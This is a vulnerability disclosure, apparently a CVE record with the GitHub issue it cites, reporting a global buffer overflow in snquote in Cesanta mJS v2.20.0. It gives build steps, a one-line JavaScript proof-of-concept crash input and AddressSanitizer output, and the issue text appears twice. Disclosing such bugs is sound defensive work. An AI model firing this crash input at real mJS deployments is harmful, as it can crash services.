Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via snquote at src/mjs_json.c.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
====ERROR: AddressSanitizer: global-buffer-overflow on address 0x5570a88f30e4 at pc 0x5570a8803a88 bp 0x7ffc63d95f40 sp 0x7ffc63d95f30
READ of size 1 at 0x5570a88f30e4 thread T0
    #0 0x5570a8803a87 in snquote src/mjs_json.c:81
    #1 0x5570a8803a87 in to_json_or_debug src/mjs_json.c:167
    #2 0x5570a8803a87 in mjs_json_stringify src/mjs_json.c:267
    #3 0x5570a8803a87 in mjs_op_json_stringify src/mjs_json.c:494

0x5570a88f30e4 is located 0 bytes to the right of global variable '*.LC1' defined in 'src/mjs_array.c' (0x5570a88f30e0) of size 4
  '*.LC1' is ascii string '%lu'
0x5570a88f30e4 is located 60 bytes to the left of global variable '*.LC9' defined in 'src/mjs_array.c' (0x5570a88f3120) of size 5
  '*.LC9' is ascii string 'this'
SUMMARY: AddressSanitizer: global-buffer-overflow src/mjs_json.c:81 in snquote
Shadow bytes around the buggy address:
  0x0aae951165c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0aae95116610: 00 00 00 00 00 00 00 00 00 00 00 00[04]f9 f9 f9
  0x0aae95116620: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
  0x0aae95116630: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9
  0x0aae95116640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116660: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 04
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
====ABORTING
```


Global-buffer-overflow src/mjs_json.c:81 in snquote
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Global-buffer-overflow src/mjs_json.c:81 in snquote
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
====ERROR: AddressSanitizer: global-buffer-overflow on address 0x5570a88f30e4 at pc 0x5570a8803a88 bp 0x7ffc63d95f40 sp 0x7ffc63d95f30
READ of size 1 at 0x5570a88f30e4 thread T0
    #0 0x5570a8803a87 in snquote src/mjs_json.c:81
    #1 0x5570a8803a87 in to_json_or_debug src/mjs_json.c:167
    #2 0x5570a8803a87 in mjs_json_stringify src/mjs_json.c:267
    #3 0x5570a8803a87 in mjs_op_json_stringify src/mjs_json.c:494

0x5570a88f30e4 is located 0 bytes to the right of global variable '*.LC1' defined in 'src/mjs_array.c' (0x5570a88f30e0) of size 4
  '*.LC1' is ascii string '%lu'
0x5570a88f30e4 is located 60 bytes to the left of global variable '*.LC9' defined in 'src/mjs_array.c' (0x5570a88f3120) of size 5
  '*.LC9' is ascii string 'this'
SUMMARY: AddressSanitizer: global-buffer-overflow src/mjs_json.c:81 in snquote
Shadow bytes around the buggy address:
  0x0aae951165c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0aae95116610: 00 00 00 00 00 00 00 00 00 00 00 00[04]f9 f9 f9
  0x0aae95116620: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
  0x0aae95116630: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9
  0x0aae95116640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116660: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 04
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
====ABORTING
```


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